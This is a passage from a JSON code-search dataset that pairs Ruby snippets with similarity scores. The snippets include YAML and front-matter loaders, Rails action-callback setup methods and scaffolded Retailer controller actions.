"text": "def read_file\n\n # Load the Jekyll post or page\n self.content = File.read(@filename)\n\n begin\n\n # define a regular expression to find the YAML header \n if /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m.match(self.content)\n\n # Use the back reference to load the metadata and the postmatch \n # to load the content\n self.metadata = YAML.load($1)\n self.content = $'\n\n end\n rescue => e\n puts \"YAML Exception reading #{filename}: #{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "533bf3c5ee827496185af16110c46f1d",
"score": "0.53623456",
"text": "def from_yaml(yaml)\n self.class.from_yaml(yaml.strip)\n end",
"title": ""
},
{
"docid": "323fd6f028dc2a509019703e911d4632",
"score": "0.5361974",
"text": "def parse_setting(_setting, input)\n YAML.load(input)\n rescue Psych::SyntaxError\n nil\n end",
"title": ""
},
{
"docid": "156788d743b2f2a6261308c6bbd9d075",
"score": "0.5361843",
"text": "def read(input)\n raise EmptyInputError if input.is_a?(String) && input.strip.empty?\n raise InvalidInputError unless input.is_a?(String) or input.is_a?(File)\n # read to string if File\n input = IO.read(input) if input.is_a?(File) or File.exist?(input)\n raise EmptyFileError if input.strip.empty?\n x = YAML.load(input)\n raise InputError, 'YAML input did not parse to Hash' unless x.is_a?(Hash)\n return x\n end",
"title": ""
},
{
"docid": "e637b2c7257191f26198948327dbd524",
"score": "0.53556734",
"text": "def load_yaml(file)\n YAML::load(File.read file)\n end",
"title": ""
},
{
"docid": "cf9cb3de45c1b7b1631295a351d87988",
"score": "0.53520525",
"text": "def parse_post(content)\n begin\n matches = content.match(/\\A---\\s*\\n.*?\\n?(.*)---\\s*$\\n?(.*)/m)\n data_str = matches[1]\n content_str = matches[2]\n\n if matches\n data = YAML.load(data_str)\n end\n rescue SyntaxError => e\n puts \"YAML Exception reading content #{content}: #{e.message}\"\n rescue Exception => e\n puts \"Error reading content: #{e.message}\"\n end\n [data || {}, content_str]\nend",
"title": ""
},
{
"docid": "70b3cd3719d251b871424c6dca87e874",
"score": "0.5344208",
"text": "def load_yaml\n YAML.load(File.open(@filename))\n end",
"title": ""
},
{
"docid": "3cf1836442ff57320216727ac431d407",
"score": "0.53435457",
"text": "def read_yaml(path)\n require 'yaml'\n text = read_text(path)\n return nil if text.nil?\n YAML.parse(text).to_h\n rescue Psych::SyntaxError\n nil\n end",
"title": ""
},
{
"docid": "16033e48f76b510b5c654844109d313d",
"score": "0.53409773",
"text": "def parse_file\n document = YAML.load_file @filename\n validate_with_schema document\n\n validate_version document\n @env, @parameter_store = validate_env document \n @phases = validate_phases document\n validate_artifacts document\n end",
"title": ""
},
{
"docid": "3e4a317699c42c85477572a5885adb0a",
"score": "0.5333446",
"text": "def load_yaml!(yml_path)\n nested_hash = YAML.load(ERB.new(File.read(yml_path)).result)\n recursive_load(nested_hash)\n end",
"title": ""
},
{
"docid": "bb3b8f9fffcee17a65b59e7c56b9992b",
"score": "0.5333273",
"text": "def parse(line)\n line.strip!\n line = remove_comments_from_line(line)\n\n if line.empty?\n return\n end\n if (parsedGroupName = parse_group_name(line))\n $group_name = parsedGroupName\n elsif (kv_pair_obj = parse_key_value(line))\n k,v=kv_pair_obj\n parse_and_reconcile_overridden_values(k,v,$group_name)\n else\n raise 'unrecognized format' << line\n end\n end",
"title": ""
},
{
"docid": "7b2bcc678231c32a2e60af880ebf7eb8",
"score": "0.5327313",
"text": "def load_yaml(filename)\n @data = YAML::load(File.open(filename))\n #loops through each subsection under 'people' within the YAML file\n data[:people].each do |info|\n #assigns object to be a New Person with the information gathered from YAML\n object = Person.new(info[:fname], info[:surname], info[:dob])\n #Calls the Add method\n add(object) \n end\n end",
"title": ""
},
{
"docid": "74b50469e068412f8acc21f5c17d14ca",
"score": "0.53250766",
"text": "def parse_file_content(file_path)\n text = ::File.read(file_path)\n tokens = text.split(%r{^\\[(.*?)\\]\\r?\\n})\n tokens.shift # first item should be blank\n tokens.in_groups_of(2).each_with_object({}) do |pair, h|\n h[pair[0]] = pair[1]\n end\n end",
"title": ""
},
{
"docid": "4df5deb4549d2cf583563d94d9c49eea",
"score": "0.53136605",
"text": "def recall\n YAML.load(File.read(yaml_path))\n end",
"title": ""
},
{
"docid": "c0e09f2671be7b22c7c8018463a4d7d6",
"score": "0.5306673",
"text": "def read_yaml(path)\n return unless File.exist?(path)\n source = YAML.load_file(path)\n return unless source.is_a?(Hash)\n\n update_with { |config| read_yaml_key(source, config[:key]) }\n end",
"title": ""
},
{
"docid": "56be8b309c0e8d1feb86cf1e80c58932",
"score": "0.5301553",
"text": "def factsets\n factsets = {}\n factset_files = Dir[File.join(File.dirname(__FILE__),'factsets','*.json')]\n factset_files.each do |file|\n fs = YAML.load_file file\n\n # NOTE: This data structure might change in the future,\n # see: https://tickets.puppetlabs.com/browse/PUP-6040\n if !(fs.key?('values') && fs.key?('name'))\n warn '='*80\n warn \"WARNING: Factset '#{file}' does not have the correct structure―SKIPPING.\"\n warn \" Was it captured using `puppet facts --environment production`?\"\n warn '='*80\n else\n factset_name = File.basename(file).sub(/\\.facts\\.json/,'')\n\n facts = fs['values'] #.reject{|k,v| k =~ /^(fact_keys|to_strip_out)$/ }\n\n factsets[ factset_name ] = facts\n end\n end\n factsets\nend",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "dff036199badc0d623bfc0845ee881a1",
"score": "0.0",
"text": "def set_beat\n @beat = Beat.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60310465",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60152966",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.5920606",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5912896",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5912896",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.5898134",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5887081",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5887026",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5887026",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5887026",
"text": "def actions; end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.5876557",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5860066",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.5807812",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57404715",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57310694",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.5715928",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5701527",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.569245",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.5669733",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.56503016",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648064",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.5636733",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5623887",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.56089544",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.559635",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5595486",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.55868655",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.55584484",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.55584484",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.5507632",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.55033326",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5466339",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.54640555",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54472816",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455507",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.54398936",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.5415934",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5407991",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5407991",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.54",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5394463",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5394463",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5391065",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5388469",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.5376582",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5355932",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5348422",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53466004",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53451854",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5343858",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5339292",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.532725",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53038853",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.52850133",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.52815986",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.5257178",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.5257024",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.5248709",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244428",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5239302",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.5230717",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52270764",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.5222752",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.5222485",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.52205867",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.52127427",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.52127236",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.520801",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.5204501",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.5204178",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.52039874",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.52032334",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5198697",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51944995",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51944995",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.51913106",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178707",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51781213",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5172379",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5172379",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5172379",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5163576",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5152934",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5142308",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51392764",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51391184",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51387095",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51351416",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115222",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.51131564",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.51114494",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5107052",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5107052",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5107052",
"text": "def action\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.51055247",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5102995",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.50979155",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50949734",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5091706",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
f77126acb88d058d05c772793f012d46 | GET /retailers/1 GET /retailers/1.json | [
{
"docid": "faa0c86c122b19354ae28d4d825283f9",
"score": "0.6435224",
"text": "def show\n # @retailer = Retailer.find(params[:id], :include => [:deals, :advertisements, :account] )\n respond_to do |format|\n format.html # show.html.erb\n format.json # show.json.rabl\n end\n end",
"title": ""
}
] | [
{
"docid": "c346452866b2e8cafc36373d09c79dec",
"score": "0.76396954",
"text": "def index\n @retailers = Retailer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"title": ""
},
{
"docid": "fb0028b4b66d18c6592d924a102b559e",
"score": "0.7333227",
"text": "def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"title": ""
},
{
"docid": "f6c8b9959be58ce31eb326e87bf202d8",
"score": "0.7261835",
